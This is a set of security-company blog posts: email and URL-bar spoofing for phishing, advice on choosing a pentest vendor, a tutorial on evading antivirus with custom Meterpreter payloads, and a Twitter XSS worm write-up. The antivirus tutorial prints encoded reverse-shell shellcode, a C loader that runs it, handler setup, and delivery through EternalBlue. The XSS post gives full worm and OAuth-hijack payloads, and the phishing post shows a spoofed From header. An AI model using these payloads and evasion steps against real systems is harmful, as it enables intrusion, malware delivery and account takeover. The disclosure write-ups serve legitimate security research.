The sender address in all of these emails looks like it’s from a trusted domain name (e.g., microsoft.com), but that’s not really the case. To help you understand what’s going on, let’s look at how most email clients display the ‘from’ address. Email clients typically display it in this format:

Foo Bar <foobar@emailservice.com>

This can be broken down to two parts: the display name “Foo Bar” and the sender address “foobar@emailservice.com” enclosed in angle brackets.

But what happens if we set the value of the display name to something like this instead:

Microsoft <mail@microsoft.com>　　　　　　[...lots and lots of whitespace characters].

The answer is what you see in the screenshots above. The trick is simply that we are padding the display name with too many Unicode ideographic spaces (U+3000) so that the actual sender address gets rendered out of view while a fake sender address is used at the beginning of the display name (e.g., “Microsoft mail@microsoft.com“) to make it look like the email came from a trusted source. The full ‘from’ address actually looks like this:

Microsoft <mail@microsoft.com>　[...lots and lots of whitespace characters]<attacker@attacker.com>

But because of the extraneous whitespaces in the display name, the attacker@attacker.com part (that is, the sender address) gets rendered out of view and you only get to see the part at the beginning of the display name (that is, “Microsoft mail@microsoft.com“) which tricks you into thinking it’s the real sender address.

If you inspect the “From:” email header, it looks something like this:

From: =?UTF-8?B?TWljcm9zb2Z0IDxtYWlsQG1pY3Jvc29mdC5jb20+44CA44CA44CA44CA44CA?=
 =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=
 =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=
 =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=
 =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=
 =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CALg==?=
 <attacker@attacker.com>

But who actually inspects the headers of every email they receive? Life surely is too short for that.

Now you see that links, filenames, and sender addresses can all be easily spoofed. But what about the domain name in your browser’s URL bar? Can it be spoofed as easily too?

Exploiting RTL / LTR domains (Chrome CVE-2018-18348)

Let’s take CVE-2018-18348 as an example (this is the most recent URL spoofing vulnerability we discovered):

This screenshot is from Chrome for Android, it clearly shows the domain name as “www.google.com”. But the actual domain name is “www.google.com.مثال.السعودية”. To help you understand what’s going on, this is the order which the full URL is displayed in:

In case you’re not aware, this is called a multilingual bidirectional domain name which contains characters from two different character sets, and as such, it’s displayed with different display orders (from right to left and from left to right). The “www.google.com” part is only the subdomain of an internationalized domain name “مثال.السعودية”. And the “٠” character in the pathname is the Unicode character U+0660 (Arabic-Indic Digit Zero).

The browser is supposed to display RTL domain names like “مثال.السعودية” from right to left, and LTR domain names like “www.google.com” from left to right. If the domain name is too long like “subdomain.subdomain.subdomain.example.com”, the browser is supposed to elide the domain name from the left so that “example.com” is always displayed to the user (that is, the top- and second-level domain names).

But when RTL and LTR domain names are mixed together (e.g., “www.google.com.مثال.السعودية/٠”), the browser doesn’t properly display the RTL SLD/TLD “مثال.السعودية”, and it gets rendered out of view. This results in the subdomain(s) “www.google.com” being displayed to the user as if it were the actual domain name.

This might remind you of a known class of attacks called “visual spoofing” where lookalike Unicode characters (called “homoglyphs”) are used to spoof domain names and such—however, UI tricks like the above extend what you can do as an attacker/red teamer and help in bypassing existing countermeasures like how web browsers display IDN domain names in punycode to defend against spoofing….

As part of responsible disclosure, we’ve reported these UI bugs to the affected software vendors, and the bugs have (mostly) been fixed since then. But the same techniques could be applicable against GUI components of any web or native application where Unicode is supported in user input.

In conclusion, building secure software surely is hard as new attacks keep evolving by the day. And software vendors are often overwhelmed trying to keep pace with these attacks. So at the end of the day, it all comes down to user awareness in order to stay secure online.

References:

• Right-to-Left Scripts for Internationalized Domain Names for Applications (IDNA): https://tools.ietf.org/html/rfc5893
• https://nvd.nist.gov/vuln/detail/CVE-2020-12397
• https://nvd.nist.gov/vuln/detail/CVE-2018-18348

The post Pentesting User Interfaces: How to Phish Any Chrome, Outlook, or Thunderbird User appeared first on Virtue Security.

Selecting a penetration testing company can be a daunting task. It’s an industry plagued with misleading sales tactics, weak certifications, and simply unqualified professionals. To make things worse, penetration testing is an art, which is has inherent challenges to structure as a professional service.

Remember that penetration testing is specifically designed to simulate malicious hackers who do not follow rules and use creative ways to abuse your technology. This has an unavoidable conflict with the trend many pentest companies have to offer a predefined, reproducible, and structured service.

I’ve been a professional penetration tester for almost 20 years, and I greatly sympathize with those seeking their first assessment. Below are my five most sincere tips for sorting through the hype, bogus claims, and general lack of capabilities of most pentest companies.

1. A penetration testing company should be creative

A long time ago I worked at a large penetration testing company that assured customers they had a “100% reproducible methodology”. This was boasted confidently at every sales meeting, met with approving nods from other executives. The idea was that their methodology was so great, and had a super-awesome checklist that could find every bug in an application. I had never seen this methodology.

Pentesting is far more of an art than science; and any competent pentesting company has an obligation to set those expectations. While there are very important checklists and methodologies to follow during a pentest, this is largely considered a trivial and straight forward part of the process.

The value of an experienced pentester always lies in the manual analysis; this is where they attempt to undermine security controls, bypass business logic, and use behaviors and technologies in unexpected ways.

This is a creative process and unlikely to be reproduced identically even by the most skillful pentesters. For example, we recently identified a Twitter XSS which involved a complex analysis of application behaviors. These things combined led to the discovery of one of the most critical vulnerabilities affecting the platform.

2. Expertise in your application stack and technologies

When you speak to a pentest company for the first time the conversation should be a two way street. If you tell a vendor your application is hosted on AWS, they should have a slew of questions about your stack; “What services specifically do you use?”, “Do you leverage s3 for storage?”, “Is your authentication backed by Cognito?” are all example questions you would want to hear.

“What is your codebase?” and “How many lines of code?” are two very typical scoping questions, but if the pentest company doesn’t dig much deeper beyond that to truly understand your attack surface, it may be a good idea to shop around.

3. Evaluating the scoping process

The scoping process is typically the time a penetration testing company will need to understand your application and determine a level of effort for testing. This, however, is an even better opportunity for you to evaluate them as a vendor.

Ask yourself if the company is truly trying to understand your app and technologies, or simply running through a checklist of questions. If the application scoping process feels like it’s just a checklist of questions, the actual pentest is likely to be just a checklist as well.

Do their questions include follow up questions that demonstrate they actually care and want to do the best assessment possible? Or are you being funneled strictly through their process? If everything feels routine, your pentest is unlikely to get the special consideration it needs.

4. Certifications (or lack thereof?)

Pentest certifications are a double edged sword. On one hand, they assure a moderate level of competence. On another, they still fall very short of whats expected of a skillful pentester. Remember that certification bodies inherently must target a large enough group of people to stay profitable.

Pentest companies which boast of “certified hackers” should be evaluated cautiously. In the pentesting community, there is very little weight is given to most of these certifications. For those seeking penetest services, it’s important to understand that as well.

Instead of making judgement based on certifications, check their Github, their blogs, and their research. Any skillful pentesting company will usually contribute a great deal to the security community.

5. Cost

Cost is suddenly a high priority for most organizations. As I write this quarantined in the midst of a pandemic, more companies than ever are looking to get more value for the dollar.

The importance of right-sizing your penetration testing company has never been more important.

At the end of the day, the vast majority of penetration tests will be performed by one person. When using a vendor there’s an unavoidable part of cost that goes to company’s operational overhead. There are two rules I recommend most to follow:

1. Pick a company you feel is competent to assess your application.
2. Pay as little as possible for overhead

Consider our breakdown of cost fictional big-box penetration testing company:

There are a lot of approximations and variables here. However, when you compare the cost of a pentest to the salary of the pentester, you can get a pretty clear idea of how much value is returned. This is one reason many large institutions are beginning to prefer smaller pentest companies as vendors.

6. The “Uber model”, or not?

The rise of on-demand testing performed by a number of pentesters has gained some popularity over the last few years. Instead of one individual tester, several testers review the application in parallel. The idea is that multiple testers should find bugs that the others members have missed, potentially giving better coverage.

But there’s a fundamental flaw, which is the payment must be divided between the 4 or 5 testers. The business model unfortunately must use a good number of entry-level or low skill pentesters. To add to the problem with this, the testers still perform a large amount of redundant work.

We would argue that one highly skilled tester is far more effective than more low skill testers.

Conclusion

If you made it to the end of this I hope this was helpful in your search!

Virtue Security is a trusted penetration testing company located in New York City. We are an engineering focused team offering continuous penetration testing through our platform PurpleLeaf as well as traditional point in time penetration tests of SaaS platforms, mobile applications, and internal/external networks.

The post 5 Tips for selecting a penetration testing company in 2021 appeared first on Virtue Security.

To increase our overall success rate of exploitation we will create a custom meterpreter reverse_tcp payload.

To do this we will first need a few things:

1. Visual Studio 2019 Community (Free): https://visualstudio.microsoft.com/downloads/
2. Metasploit Framework: https://github.com/rapid7/metasploit-framework

TLDR

We will create shellcode with msfvenom, encode it, paste it to a custom template, and deliver the compiled binary as a custom payload with metasploit.

Windows Shellcode: x86 or x64?

Several years ago it was very common for x64 binaries to fly by Windows Defender, however AV products have greatly improved recently and begun to detect x64 meterpreter payloads we tested. Very few encoders support x64 shellcode which further reduces our ability to create stealthy payloads. In our testing we find that building x86 payloads with the shikata_ga_nai have stood the longest test of time and are still able to evade most AV engines.

Meterpreter payloads: which one?

You can view a list of payloads by running msfvenom -l payloads, we will use the reverse_tpc staged payload:

windows/meterpreter/reverse_tcp                     Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker

Note: our selected payload windows/meterpreter/reverse_tcp payload is considerably different than the windows/meterpreter_reverse_tcp payload. The second / indicates the payload is staged and will connect back to our handler to deliver the complete meterpreter payload.

Shellcode Encoder

You can view all available encoders by running msfvenom -l encoders. We see the most success using x86/shikata_ga_nai with a number of iterations.

    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder

Creating the shellcode with Msfvenom

Now we will use msfvenom to export the reverse_tcp payload as encoded shellcode. You will need to change the IP and port to that of your listener. You may also wish to change the number of iterations (-i 8), using up to 25 should be safe in most situations:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=9090 -e x86/shikata_ga_nai -i 8 -f c > shell.c

In the output of this we’re interested in Payload size: line, in this example we have 557 bytes

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 8 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai succeeded with size 449 (iteration=3)
x86/shikata_ga_nai succeeded with size 476 (iteration=4)
x86/shikata_ga_nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530 (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai chosen with final size 557
Payload size: 557 bytes
Final size of c file: 2366 bytes

In our shell.c output we have the following shellcode:

unsigned char buf[] =
"\xdb\xdd\xd9\x74\x24\xf4\x5a\x31\xc9\xbb\x3b\xe2\xb0\xc9\xb1"
"\x85\x31\x5a\x19\x03\x5a\x19\x83\xea\xfc\xd9\x17\x0d\xc1\xab"
"\x37\x0a\x09\x07\x1e\xa7\x89\x53\xfb\x61\x1b\x2a\x82\x40\xf1"
"\x59\xf8\x61\x01\x62\x94\x74\xe8\x99\x05\x5b\x51\xe8\x63\xe4"
"\x2a\x87\xcc\xea\xfb\x81\x45\x6b\x9a\xbd\x83\x08\x50\xde\x32"
"\x65\x18\x9c\x35\x5b\x77\x9a\x64\xea\x8f\xfa\x13\x1f\x28\xe1"
"\xb9\xfd\xe2\x22\xba\x07\xd5\xe0\x74\xea\xb8\x9c\x81\x28\x24"
"\x11\x81\x75\x4c\xca\x2b\x53\x3f\x7e\xa4\x88\xf8\xaa\x76\x43"
"\x4d\xec\x6d\xca\xf9\xd8\x3f\xf6\x11\xde\x11\xc3\x16\x02\xa5"
"\x04\x32\x29\x21\xc9\x4e\xdf\xa8\xcf\xdc\xd7\x81\x91\xce\x08"
"\x3b\xf8\x72\xc1\xca\x3c\x89\xee\xcd\x89\xab\xa2\xcf\x82\x5d"
"\xdf\x24\xc9\xdb\x19\x83\xa6\x73\xff\xa9\xe4\xce\x23\x0e\xf2"
"\x5a\x1b\x49\x6f\x5c\x32\xa1\x17\xc6\x6a\x83\xfb\xb1\x61\x3c"
"\x63\x1f\x31\xa8\x1e\x53\x68\x3a\xe0\xe5\x17\xb6\x02\x37\x3e"
"\xa2\xbb\xb0\xe1\xb8\x54\x73\xf2\x17\xc6\xad\xe2\x0d\xb0\x84"
"\x56\x54\x82\x23\x79\x1f\x4e\xee\x94\x8f\x3a\xe1\x10\x06\x45"
"\xf9\xb9\x8a\x65\xfd\x02\xc9\x07\xce\xb4\x61\x92\x74\xdf\x14"
"\x47\x19\x51\xe4\x9d\xd8\xa8\x13\xbf\x50\x5b\xf9\x1e\x2d\x48"
"\x8e\x2f\x12\x43\x44\x1f\x9a\xe1\x53\xff\x0b\x33\xd8\x66\xbc"
"\xf2\xfc\xc9\x51\xbd\x2a\x19\xe9\xd5\xbc\x9e\x5f\x72\xcf\x8a"
"\x81\x42\x1c\xd8\x0e\x8c\xed\x75\xfe\x7a\x5d\x72\xff\x81\x09"
"\xa4\x1b\x91\x74\x31\x32\xc5\xd3\x7b\xd0\xd3\x58\x2a\x61\xc0"
"\xdd\x2a\xdc\xe5\x84\x8d\x75\x99\xf8\x66\xcc\x72\xdc\x55\x98"
"\x40\xcf\xc3\xcf\xdb\x02\x61\x0c\xd9\xa4\xf0\x20\xcf\xdb\x3f"
"\x1c\x54\x05\x4d\xe6\xf1\x3a\xd2\x5b\x0c\x4b\x52\x6e\x0c\xfe"
"\xee\x89\x4e\x4c\x17\x55\xc7\x42\x3e\xfd\x8a\xaf\xdf\xe5\x69"
"\xc9\x10\x48\xc6\xab\x85\x41\x23\x4a\xbe\xc4\x85\x27\x5e\x74"
"\xa8\xc3\x9b\x3f\x24\xcc\x4e\x0f\xe0\x54\x26\x0a\x95\x12\x97"
"\x61\x8d\xa8\x90\x95\x1d\x40\x29\x0c\x9a\xf8\xcf\x35\x2f\x64"
"\x27\xc4\x75\x2e\x13\x7a\x12\x7c\x46\x83\xd6\xcf\x18\x41\x1e"
"\x03\x74\xb6\xc7\x90\x7e\x22\x72\xfc\x59\x67\x84\xb5\xe6\x3e"
"\x47\xcd\xbb\xa2\xab\xa3\xb4\xfe\xc2\x6f\x38\x49\xf9\xec\x59"
"\x81\x15\x7b\x10\xc0\x3b\x05\xe1\x5c\xac\x08\x85\x2f\x3f\x90"
"\x29\x2e\xcd\xaa\x4e\x6f\x9f\x9c\xe9\x97\x96\x3f\xb0\xd4\xc1"
"\x64\x22\x20\xe5\xdc\x5a\x0f\x7f\x77\x37\xd1\x51\x77\xa4\x10"
"\xed\x58\xd0\xbb\x62\xa9\x8f\x30\x8e\xa1\x1d\x0d\x73\x3d\x3f"
"\xcb\xf4\xfe\x06\x81\xc6\xf2\x03\xc7\x22\xf0\xeb\x0e\x61\xe6"
"\x5c\xc5";

Create a Visual Studio Project

Open Visual Studio and press “Create a new project”:

Select “Empty project”:

Choose a project name and press “Create”:

In “Source Files”, right click to add a “New item”:

Select cpp file and name this “main.cpp”:

Create a custom template

In your main.cpp file we will paste the following code:

#include <stdio.h>
#include <windows.h>

unsigned const char payload[] = "";

size_t size = 0;

int main(int argc, char** argv) {

    char* code;

    printf("This is just a random string!\n");

    code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE);

    memcpy(code, payload, size);

    ((void(*)())code)();

    return(0);
}

We just need to change two things:

1. Add the “Payload size” number (do not use the “Final size of c file”) from when we generated the payload. In this case it was 557 bytes:

2. Replace the placeholder in payload[] with the shellcode generated in buf[]:

3. Add some random text so we don’t all use the same signatures!

4. In the build dropdown select release:

5. Hit Ctrl+B and your payload should be built!

Note: If you encounter errors regarding vcruntime140.dll the system may not have the Visual Studio Runtime installed; you may encounter this on minimally built server. To avoid this you can go to Project Properties and change the runtime library to Multi-threaded (/MT) which will create a statically linked binary. This however will be a larger binary and far more prone to detection by AV. Use this only as a last resort!

Starting a meterpreter handler

On our attacking system we will now create a handler to accept incoming connection from our payload. We should ensure the IP and port are the same as used in previous steps:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.0.0.5
LHOST => 10.0.0.5
msf5 exploit(multi/handler) > set LPORT 9090
LPORT => 9090
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.0.0.5:9090

To launch our shiny new payload as part of an exploit, we can use the generic/custom payload and specify the filename of our binary:

msf5 > use windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload generic/custom
payload => generic/custom
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payloadfile /home/demo/Project1.exe
payloadfile => /home/demo/Project1.exe
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.0.0.30
RHOSTS => 10.0.0.30
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

The post Evading Antivirus with Better Meterpreter Payloads appeared first on Virtue Security.

Vulnerability Background

In mid-2018, I found a stored XSS on Twitter in the least likely place you could think of. Yes, right in the tweet! But what makes this XSS so special is that it had the potential to be turned into a fully-fledged XSS worm. If the concept of XSS worms is new to you, you might want to read more about it on Wikipedia.

A One-click XSS Worm

Let me jump right to the full exploit and then we can explain the magic later on. Before this got fixed, tweeting the following URL would have created an XSS worm that spreads from account to account throughout the Twitterverse:

https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E

“How so? It’s just a link!”, you might wonder. But this, my friend, is no ordinary link. It’s a Welcome Message deeplink 1. The deeplink gets rendered as a Twitter card:

A Flaw in Twitter Cards

This Twitter card is actually an iframe element which points to https://twitter.com/i/cards/tfw/v1/1114991578353930240. The iframe is obviously same-origin and not sandboxed (which means we have DOM access to the parent webpage). The payload in the “text” parameter would then get reflected back in an inline JSON object as the value of the default_composer_text key:

<script type="text/twitter-cards-serialization">
  {
    "strings": { },
    "card": {
  "viewer_id" : "988260476659404801",
  "is_caps_enabled" : true,
  "forward" : "false",
  "is_logged_in" : true,
  "is_author" : true,
  "language" : "en",
  "card_name" : "2586390716:message_me",
  "welcome_message_id" : "988274596427304964",
  "token" : "[redacted]",
  "is_emojify_enabled" : true,
  "scribe_context" : "%7B%7D",
  "is_static_view" : false,
  "default_composer_text" : "</script><iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640></iframe><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12></script><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>\\u00A0",
  "recipient_id" : "988260476659404801",
  "card_uri" : "https://t.co/1vVzoyquhh",
  "render_card" : true,
  "tweet_id" : "1114991578353930240",
  "card_url" : "https://t.co/1vVzoyquhh"
},
    "twitter_cldr": false,
    "scribeData": {
      "card_name": "2586390716:message_me",
      "card_url": "https://t.co/1vVzoyquhh"
      
      
      
    }
  }
</script>

Note: Once the HTML parser encounters a closing script tag

</script> anywhere after the initial opening tag <script>,  it gets immediately terminated even when the encountered

</script> tag is inside a string literal a comment, or a regex….

Bypassing Input Validation

But before you could get to this point, you’d have had to overcome many limitations and obstacles first:

• Both single and double quotes get escaped to

​\' and \", respectively.

• HTML tags get stripped (so a</script>b would become ab).
• The payload gets truncated at around 300 characters.
• There is a CSP policy in place which disallows non-whitelisted inline scripts.

At first glance, these might look like proper countermeasures. But the moment I noticed the HTML-tag stripping behavior, my spidey sense started tingling. That’s because this is usually error-prone. Unlike escaping individual characters, stripping tags requires HTML parsing (and parsing is always hard to get right, regexes anybody?).

Chaining Vulnerabilities

So I started fiddling with a very basic payload </script><svg onload=alert()> and kept fiddling until I ended up with <</<x>/script/test000><</</x><x>svg onload=alert()></><script>1<\x>2 which got turned into </script/test000><svg onload=alert()>. Jackpot, I immediately reported my finding to the Twitter security team at this point and didn’t wait until I found a bypass for the CSP policy.

Bypassing CSP

Now, let’s take a closer look at Twitter’s CSP policy:

script-src 'nonce-ETj41imzIQ/aBrjFcbynCg==' https://twitter.com https://*.twimg.com https://ton.twitter.com 'self'; frame-ancestors https://ms2.twitter.com https://twitter.com http://localhost:8889 https://momentmaker-local.twitter.com https://localhost.twitter.com https://tdapi-staging.smf1.twitter.com https://ms5.twitter.com https://momentmaker.twitter.com https://tweetdeck.localhost.twitter.com https://ms3.twitter.com https://tweetdeck.twitter.com https://wfa.twitter.com https://mobile.twitter.com https://ms1.twitter.com 'self' https://ms4.twitter.com; font-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com 'self'; media-src https://twitter.com https://*.twimg.com https://ton.twitter.com blob: 'self'; connect-src https://caps.twitter.com https://cards.twitter.com https://cards-staging.twitter.com https://upload.twitter.com blob: 'self'; style-src https://twitter.com https://*.twimg.com https://ton.twitter.com 'unsafe-inline' 'self'; object-src 'none'; default-src 'self'; frame-src https://twitter.com https://*.twimg.com https://* https://ton.twitter.com 'self'; img-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com blob: 'self'; report-uri https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&ro=false;

An interesting fact is, Twitter doesn’t deploy one global CSP policy throughout the entire app. Instead, different parts of the app have different CSP policies. This is the CSP policy for Twitter cards, and we are only interested in the script-src directive for now.

To the trained eye, the wildcard origin https://*.twimg.com looks too permissive and is most likely to be the vulnerable point. So it wasn’t very hard to find a JSONP endpoint on a subdomain of twimg.com: https://syndication.twimg.com/timeline/profile?callback=__twttr;user_id=12

The hard part was, bypassing the callback validation. You can’t simply just specify any callback you like, it must start with the \_\_twttr prefix (otherwise, the callback is rejected). This means you can’t pass built-in functions like alert for instance (but you could use \_\_twttralert, which of course evaluates to undefined). I then did a few checks to see which characters are filtered for the callback and which are allowed, and oddly enough, forward slashes were allowed in the “callback” parameter (i.e., ?callback=__twttr/alert). This would then result in the following response:

/**/__twttr/alert({"headers":{"status":200,"maxPosition":"1113300837160222720","minPosition":"1098761257606307840","xPolling":30,"time":1554668056},"body":"[...]"});

So now we just need to figure out a way to define a __twttr reference on the window object so we don’t get a ReferenceError exception. There are two ways I could think of to do just that:

1. Find a whitelisted script that defines a

__twttr variable and include it in the payload.

2. Set the ID attribute of an HTML element to __twttr (which would create a global reference to that element on the window object).

So I went with option #2, and that’s why the iframe element in the payload has an ID attribute despite the fact that we want the payload to be as short as possible.

So far, so good. But since we can’t inject arbitrary characters in the callback parameter, this means we are quite limited in what JavaScript syntax we can use (note: the semicolon in ?callback=__twttr/alert;user_id=12 is not part of the callback parameter, it’s actually a URL query separator—the same as “&”). But this is not really much of a problem, as we still can invoke any function we want (similar to a SOME attack).

To sum up what the full payload does:

1. Create an iframe element with the ID “__twttr” which points to a specific tweet using Twitter Web Intents (https://twitter.com/intent/retweet?tweet_id=1114986988128624640).
2. Use the CSP policy bypass to invoke a synchronous function (i.e., alert) to delay the execution of the next script block until the iframe has fully loaded (the alert is not for show—because of syntax limitations, we cannot simply use setTimeout(func)).
3. Use the CSP bypass again to submit a form inside the iframe which causes a specific tweet to get retweeted.

An XSS worm would ideally spread by retweeting itself. And if there were no syntax limitations, we could have so easily done that. But now that we have to depend on Twitter Web Intents for retweets, we need to know the exact tweet ID and specify that in the payload before actually tweeting it. Quite the dilemma, as tweet IDs are not actually sequential [4] (meaning it won’t be easy to predict the tweet ID beforehand). Oh no, our evil plan is doomed again!

Well, not really. There are two other relatively easier ways in which we can make the XSS worm spread:

1. Weaponize a chain of tweets where each tweet in the chain contains a payload that retweets the one preceding it. This way, if you get in contact with any of those tweets, this would initiate a series of retweets which would eventually deliver the first tweet in the chain to every active Twitter account.
2. Simply promote the tweet that carries the XSS payload so it would have much greater reach.

Or you could use a mix of those two spreading mechanisms for better results. The possibilities are endless. Also luckily for us, when the “https://twitter.com/intent/retweet?tweet_id=1114986988128624640” page is loaded for an already-retweeted tweet, the frames[0].retweet_btn_form.submit method in the payload would then correspond to a follow action instead of a retweet upon invocation.

This means that the first time a weaponized tweet is loaded on your timeline, it’ll immediately get retweeted on your Twitter profile. But the next time you view this tweet again, it will make you follow the attacker’s account!

Taking exploitation a step further:

Making an XSS worm sure can be fun and amusing, but is that really as far as this can go? In case it wasn’t scary enough for you, this XSS could have also been exploited to force Twitter users into authorizing a malicious third-party app to access their accounts silently and with full permissions via the Twitter “oauth/authorize” API [5].

This could be achieved by loading https://twitter.com/oauth/authorize?oauth_token=[token] in an iframe and then automatically submitting the authorization form included within that page (i.e., the form with the ID oauth_form). A silent exploit with staged payloads would go as following:

1. Post a tweet with the following as a payload and obtain its ID:

</script><iframe src=/oauth/authorize?oauth_token=cXDzjwAAAAAA4_EbAAABaizuCOk></iframe>

2. Post another tweet with the following as a payload and obtain its ID:

</script><script id=__twttr src=//syndication.twimg.com/tweets.json?callback=__twttr/parent.frames[0].oauth_form.submit;ids=20></script>

3. Post a third tweet with the following as a payload (which combines the two tweets together in one page)

</script><iframe src=/i/cards/tfw/v1/1118608452136460288></iframe><iframe src=/i/cards/tfw/v1/1118609496560029696></iframe>

Now as soon as the third tweet gets loaded on a user’s timeline, a malicious third-party app would have full access to their account. The only caveat here is that the “oauth_token” value is valid for one use only and has a relatively short expiry time. But this is not much of a problem either as an attacker could post as many tweets as needed to compromise any number of accounts.

The bottom line is, I could have forced you to load any page on Twitter, click any button, submit any form, and what not!

P.S. If you want to get in touch, you can find me on Twitter/GitHub. Also don’t forget to follow our official Twitter account!

Disclosure Timeline:

• 23rd April 2018 – I filed the initial bug report.
• 25th April 2018 – The report got triaged.
• 27th April 2018 – Twitter awarded a $2,940 bounty.
• 4th May 2018 – A fix was rolled out.
• 7th April 2019 – I provided more information on the CSP bypass.
• 12th April 2019 – I sent a draft of this write-up directly to a Twitter engineer for comment.
• 12th April 2019 – I was asked to delay publication until after the CSP bypass is fixed.
• 22nd April 2019 – The CSP bypass got fixed and we got permission to publish.
• 2nd May 2019 – The write-up was published publicly.

References:

[1]  https://developer.twitter.com/en/docs/direct-messages/welcome-messages/guides/deeplinking-to-welcome-message.html

[2] https://html.spec.whatwg.org/#named-access-on-the-window-object

[3] https://www.benhayak.com/2015/06/same-origin-method-execution-some.html

[4] https://developer.twitter.com/en/docs/basics/twitter-ids.html

[5] https://developer.twitter.com/en/docs/basics/authentication/api-reference/authorize.html

The post Tale of a Wormable Twitter XSS appeared first on Virtue Security.